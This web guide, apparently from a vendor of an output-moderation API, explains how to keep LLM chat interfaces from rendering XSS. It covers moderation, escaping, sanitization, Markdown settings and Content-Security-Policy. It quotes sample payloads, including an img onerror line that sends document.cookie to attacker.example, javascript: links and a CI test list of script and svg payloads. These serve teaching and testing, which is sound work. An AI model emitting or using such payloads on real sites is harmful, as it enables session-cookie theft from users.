How to Prevent XSS from AI-Generated Content
AI-generated content can introduce XSS if rendered unsafely. Combine output moderation, encoding, sanitization, and CSP for defense in depth.
Prevent XSS from AI-generated content by treating every model completion as untrusted before it enters the DOM: moderate output server-side, encode plain text by default, sanitize any allowed HTML with a strict allowlist, disable raw HTML in Markdown pipelines, and enforce Content-Security-Policy (CSP) on chat pages so executable scripts cannot run even if a filter misses a payload.
AI chat products are XSS targets because assistants produce HTML-like strings, apps render Markdown richly, and users trust assistant formatting more than random forum posts.
How XSS enters through LLM pipelines
Cross-site scripting requires attacker-controlled markup or script to run in a victim's browser session. With LLMs, the "attacker" is often:
- The model emitting dangerous tags from benign prompts
- Indirect injection via retrieved documents influencing completions
- Stored assistant messages replayed to other users without re-validation
Common vectors in synthetic examples:
<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">
[Click to continue](javascript:alert(document.domain))
<svg/onload=alert(1)>
If your UI uses unsanitized innerHTML, unsafe Markdown settings, or client-side HTML rendering of streamed tokens, these patterns execute in user browsers — improper output handling at scale.
Defense-in-depth stack
| Layer | Purpose | Tooling |
|---|---|---|
| Output moderation | Detect unsafe markup and deceptive patterns early | AI Output Safety |
| Encoding | Ensure text nodes cannot execute | Framework escaping, no raw HTML |
| Sanitization | Allow limited formatting safely | DOMPurify or server equivalent |
| CSP | Cap script execution if markup slips through | HTTP response headers |
| Secure transport | Protect session cookies | HTTPS, HttpOnly, SameSite cookies |
No single layer is sufficient. Moderation is not a HTML parser; sanitizers can have bypasses; CSP must be tuned correctly.
Step 1: Moderate before render
Call output safety on the assembled assistant message:
curl -X POST https://www.identicapi.com/api/v1/security/output-safety \
-H "Authorization: Bearer idapi_test_your_key_here" \
-H "Content-Type: application/json" \
-d '{"text": "<a href=\"javascript:void(0)\" onclick=\"steal()\">Verify</a>"}'
Example response shape:
{
"verdict": "unsafe",
"risk": "high",
"findings": [
{ "category": "unsafe_markup", "reason": "Inline event handler detected" }
],
"reasons": ["Inline event handler detected"]
}
Map verdict to block or review — block vs review workflows. Do not display flagged HTML while "fixing" it client-side; block server-side first.
Use the AI Output Safety Checker during development and documentation for production integration.
Step 2: Default to escaped plain text
Simplest safe chat UI:
- Render assistant content as text nodes (React:
{message}without HTML) - Use CSS for styling — not HTML from the model
- Linkify URLs only after validating
http:/https:schemes and optionally domain allowlists
Plain text eliminates most XSS without a sanitizer — at the cost of rich formatting.
Step 3: Safe Markdown
If you render Markdown:
- Disable raw HTML in the parser (
html: falseor equivalent) - Sanitize HTML output of the Markdown renderer anyway
- Moderate before Markdown conversion — payloads may span syntax boundaries
Unsafe configuration example (avoid):
// Illustrative anti-pattern — do not use
markdown.render(modelText, { html: true });
element.innerHTML = result;
Step 4: HTML sanitization
When HTML is a product requirement, see Safe AI-Generated HTML. Essentials:
- Allowlist tags and attributes — deny
script,iframe, event handlers,javascript:URLs - Sanitize on server before storage and again on read if sanitizer versions change
- Never stream raw tokens into
innerHTMLbefore final moderation + sanitization
Step 5: Content-Security-Policy
Deploy CSP on all routes showing AI content:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
Notes:
- Avoid
'unsafe-inline'forscript-srcwhen possible — use nonces for your app's scripts - Tighten
img-srcif exfiltration via<img src=to attacker domains is a concern - Test CSP in report-only mode before enforcing
CSP is a backstop — not a replacement for moderation and sanitization.
Streaming chat considerations
Streaming UX tempts teams to render partial Markdown/HTML live. Safer patterns:
- Buffer server-side; moderate + sanitize complete message; then send to client
- Show plain-text streaming preview; swap to formatted view only after final gate
- Never attach streamed HTML to DOM until checks complete
See Moderating AI Chatbot Responses and Moderate LLM Output.
Stored XSS across users
Shared workspaces, support transcripts, and public Q&A store assistant replies. On every read:
- Re-apply sanitization (or store only sanitized form)
- Treat database content as untrusted — LLM output security model
- Re-moderate when displaying legacy messages if policies tighten
XSS vs other AI output risks
| Risk | Symptom | Primary control |
|---|---|---|
| XSS | Script runs in browser | Encoding, sanitizer, CSP |
| Phishing text | User clicks bad link | Output moderation + link validation |
| Toxic content | Harmful language | Moderation verdict routing |
| Data leak | PII in reply | PII detection + moderation |
Unified Guard can combine multiple detectors; output moderation remains essential for markup-heavy UIs.
Testing checklist
Synthetic payloads for CI (run in isolated test env):
-
<script>alert(1)</script> -
<img src=x onerror=alert(1)> -
[x](javascript:alert(1))in Markdown -
<svg/onload=alert(1)> -
<iframe src="https://evil.example">
Expect moderation flag, sanitizer strip, or CSP block — ideally more than one.
Framework guides
- Output Safety in Next.js — server moderation before client render
- AI Output Moderation in Python — API backends
Limitations
Automated defenses reduce XSS risk; they do not guarantee elimination:
- Novel bypass techniques emerge against sanitizers
- Moderation produces
safe/suspicious/unsafesignals — not mathematical proof - Misconfigured CSP may silently fail open
Maintain dependency updates, monitor bug reports, and respond to user-submitted XSS reports promptly.
Summary
XSS from AI-generated content is preventable with standard web security discipline applied to a new trust boundary — model output. Moderate with AI Output Safety, encode by default, sanitize allowlisted HTML, harden Markdown pipelines, and enforce CSP. Read the AI Output Safety Checklist before shipping rich chat to production.
Frequently asked questions
Can AI chatbots cause XSS?
Yes. Models may emit script tags, event handlers, or javascript: links. If your UI renders assistant content as HTML or unsafe Markdown, those payloads can execute in user sessions.
What is the safest default rendering mode for AI chat?
Escaped plain text in the DOM. Add Markdown or HTML only with raw HTML disabled in the parser and server-side sanitization on any HTML path.
Does output moderation eliminate XSS risk?
It reduces risk by flagging many unsafe patterns, but verdicts are not guarantees. Keep sanitization and Content-Security-Policy even when moderation returns safe.
How does streaming affect XSS risk?
Streaming raw tokens into innerHTML before final moderation increases exposure. Buffer server-side, screen the assembled message, sanitize, then send to the client.
Should stored assistant messages be re-sanitized on read?
Yes. Treat stored model output as untrusted on every read path, especially in shared workspaces. Re-sanitize when upgrading sanitizer versions.
Related reading
- How to Safely Render AI-Generated HTML
Rendering model-generated HTML requires sanitization, CSP, and output moderation. Learn safe patterns for chat UIs and r…
- Improper Output Handling in LLM Applications Explained
Improper output handling occurs when applications trust, render, or execute LLM-generated content without validation. Le…
- Why LLM Output Should Be Treated as Untrusted Input
Model output can contain unsafe HTML, misleading instructions, or policy violations. Treat it as untrusted before render…